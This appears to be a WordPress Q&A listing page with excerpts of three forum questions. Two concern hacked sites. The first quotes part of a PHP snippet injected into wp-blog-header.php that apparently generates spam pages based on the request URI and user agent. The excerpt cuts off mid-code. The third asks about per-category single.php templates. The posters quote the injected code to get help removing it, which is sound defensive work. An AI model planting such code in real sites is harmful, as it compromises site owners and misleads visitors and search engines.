How to prevent bot or someone to modify any file automatically?

Someone modifying daily our website file wp-blog-header.php. They are adding below code which generates unneceassy pages automatic in our website, Code is : $e = pathinfo($f = strtok($p = @$_SERVER[“REQUEST_URI”], “?”), PATHINFO_EXTENSION); if ((!$e || in_array($e, array(“html”, “jpg”, “png”, “gif”)) || basename($f, “.php”) == “index”) && in_array(strtok(“=”), array(“”, “p”, “page_id”)) && (empty($_SERVER[“HTTP_USER_AGENT”]) || (stripos($u = … Read more

Explanation of this hacked code

Hi I found some new code in the wp-config.php file of one of my sites, it seems to have been placed there by a hacker, anyone can explain what it does? http://pastebin.com/fdMJCAXw 1 Answer 1 There are 3 main ‘functions’ of this code. The two lines check that pingnow and pass are defined and that … Read more

Posts in multiple Categories different single.php

I am smashing my head against some code. Here is the situation: I have one post in 3 different categories, this post has to be visible in “category 1” with the single1.php, in “category 2” with single2.php and in “category 3” with single3.php. Obviously the 3 single.php pages have a different template inside. For example … Read more